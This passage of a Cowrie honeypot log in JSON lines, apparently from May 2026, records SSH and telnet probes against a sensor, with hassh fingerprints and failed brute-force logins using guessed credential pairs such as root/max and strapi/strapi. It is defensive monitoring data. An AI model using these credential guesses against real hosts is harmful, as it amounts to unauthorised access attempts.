"aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:04.117811Z","src_ip":"43.165.174.224","session":"341dd2596af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"strapi","password":"strapi","message":"login attempt [strapi/strapi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:05.183445Z","src_ip":"43.165.174.224","session":"341dd2596af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.111","src_port":48561,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f3dc1d4b9d","protocol":"ssh","message":"New connection: 45.79.207.111:48561 (159.203.135.109:22) [session: f8f3dc1d4b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:05.656096Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:06.360355Z","src_ip":"43.165.174.224","session":"341dd2596af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:06.384709Z","src_ip":"45.79.207.111","session":"f8f3dc1d4b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.155.90.118","src_port":34862,"dst_ip":"159.203.135.109","dst_port":22,"session":"998b0388a1b2","protocol":"ssh","message":"New connection: 192.155.90.118:34862 (159.203.135.109:22) [session: 998b0388a1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.763609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.767976Z","src_ip":"192.155.90.118","session":"998b0388a1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.774033Z","src_ip":"192.155.90.118","session":"998b0388a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.785356Z","src_ip":"192.155.90.118","session":"998b0388a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.155.90.118","src_port":34870,"dst_ip":"159.203.135.109","dst_port":22,"session":"0936aae812bc","protocol":"ssh","message":"New connection: 192.155.90.118:34870 (159.203.135.109:22) [session: 0936aae812bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.790524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.795674Z","src_ip":"192.155.90.118","session":"0936aae812bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.801448Z","src_ip":"192.155.90.118","session":"0936aae812bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.817756Z","src_ip":"192.155.90.118","session":"0936aae812bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.155.90.118","src_port":34884,"dst_ip":"159.203.135.109","dst_port":22,"session":"144840f75e31","protocol":"ssh","message":"New connection: 192.155.90.118:34884 (159.203.135.109:22) [session: 144840f75e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.822374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.827160Z","src_ip":"192.155.90.118","session":"144840f75e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.835541Z","src_ip":"192.155.90.118","session":"144840f75e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:18.845788Z","src_ip":"192.155.90.118","session":"144840f75e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47448,"dst_ip":"159.203.135.109","dst_port":23,"session":"d424c85d8955","protocol":"telnet","message":"New connection: 69.4.83.194:47448 (159.203.135.109:23) [session: d424c85d8955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:23.204109Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40624,"dst_ip":"159.203.135.109","dst_port":22,"session":"aabd14ee5847","protocol":"ssh","message":"New connection: 77.94.47.83:40624 (159.203.135.109:22) [session: aabd14ee5847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:29.496677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:29.502320Z","src_ip":"77.94.47.83","session":"aabd14ee5847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:29.610157Z","src_ip":"77.94.47.83","session":"aabd14ee5847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max","message":"login attempt [root/max] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:29.931561Z","src_ip":"77.94.47.83","session":"aabd14ee5847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:31.040572Z","src_ip":"77.94.47.83","session":"aabd14ee5847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.853193283081055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:32.679584Z","src_ip":"69.4.83.194","session":"494da5d73ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50552,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f7f4599464","protocol":"telnet","message":"New connection: 69.4.83.194:50552 (159.203.135.109:23) [session: c9f7f4599464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:34.473944Z"}
{"eventid":"cowrie.session.closed","duration":32.709147214889526,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:55.913140Z","src_ip":"69.4.83.194","session":"d424c85d8955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48908,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e1e49d5a41d","protocol":"ssh","message":"New connection: 103.149.28.157:48908 (159.203.135.109:22) [session: 4e1e49d5a41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:56.099227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:56.104929Z","src_ip":"103.149.28.157","session":"4e1e49d5a41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:56.359475Z","src_ip":"103.149.28.157","session":"4e1e49d5a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!`v1x=`@&b\"\\bb","message":"login attempt [root/!`v1x=`@&b\"\\bb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:57.120575Z","src_ip":"103.149.28.157","session":"4e1e49d5a41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:58.376751Z","src_ip":"103.149.28.157","session":"4e1e49d5a41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"4187e3d98e5c","protocol":"telnet","message":"New connection: 69.4.83.194:34440 (159.203.135.109:23) [session: 4187e3d98e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:03.150721Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab6952c64144","protocol":"ssh","message":"New connection: 194.113.233.25:52380 (10.17.0.5:22) [session: ab6952c64144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:06.740031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:06.744931Z","src_ip":"194.113.233.25","session":"ab6952c64144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:06.839918Z","src_ip":"194.113.233.25","session":"ab6952c64144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345tgb","message":"login attempt [root/12345tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:07.121298Z","src_ip":"194.113.233.25","session":"ab6952c64144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:08.218503Z","src_ip":"194.113.233.25","session":"ab6952c64144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.409520387649536,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:08.883363Z","src_ip":"69.4.83.194","session":"c9f7f4599464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"088382629a98","protocol":"telnet","message":"New connection: 178.128.93.180:46546 (10.17.0.5:23) [session: 088382629a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:21.546663Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42862,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f1773fa4034","protocol":"telnet","message":"New connection: 69.4.83.194:42862 (159.203.135.109:23) [session: 1f1773fa4034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:26.387696Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":52962,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a0e8e80bfd","protocol":"telnet","message":"New connection: 178.128.93.180:52962 (10.17.0.5:23) [session: 47a0e8e80bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:31.805482Z"}
{"eventid":"cowrie.session.closed","duration":33.904844999313354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:37.055438Z","src_ip":"69.4.83.194","session":"4187e3d98e5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36981,"dst_ip":"159.203.135.109","dst_port":22,"session":"384e91b23094","protocol":"ssh","message":"New connection: 168.167.72.132:36981 (159.203.135.109:22) [session: 384e91b23094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:39.632037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:39.636647Z","src_ip":"168.167.72.132","session":"384e91b23094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:39.881144Z","src_ip":"168.167.72.132","session":"384e91b23094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"000000","message":"login attempt [test/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:40.893409Z","src_ip":"168.167.72.132","session":"384e91b23094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:42.142341Z","src_ip":"168.167.72.132","session":"384e91b23094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8da32765980","protocol":"telnet","message":"New connection: 69.4.83.194:51096 (159.203.135.109:23) [session: c8da32765980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:50.644031Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ae916ffec0","protocol":"telnet","message":"New connection: 69.4.83.194:55424 (159.203.135.109:23) [session: c4ae916ffec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:49:58.871895Z"}
{"eventid":"cowrie.session.closed","duration":35.144933462142944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:01.532502Z","src_ip":"69.4.83.194","session":"1f1773fa4034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52892,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac7c77367a1","protocol":"ssh","message":"New connection: 87.251.64.176:52892 (10.17.0.5:22) [session: cac7c77367a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.217625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.223064Z","src_ip":"87.251.64.176","session":"cac7c77367a1","protocol":"ssh"}
